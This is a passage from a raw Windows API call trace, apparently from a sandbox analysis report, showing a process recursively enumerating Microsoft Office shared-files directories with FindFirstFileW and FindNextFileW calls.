ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.010] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.010] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.010] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.010] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.010] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0050.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.010] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.010] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.010] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.010] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.010] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0050.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.010] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.010] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0050.010] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.010] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.010] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0050.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.055] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.055] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0050.055] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.056] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.056] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0050.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.066] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.066] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0050.066] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.066] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.066] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0050.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.072] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.072] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.072] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.072] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.072] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0050.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.073] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.073] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.073] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.073] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.073] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0050.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.086] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.087] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.087] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0050.087] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.087] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0050.087] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.087] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0050.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.088] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.088] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0050.088] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.089] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.089] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0050.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.097] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.097] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0050.098] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.098] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.098] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0050.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, 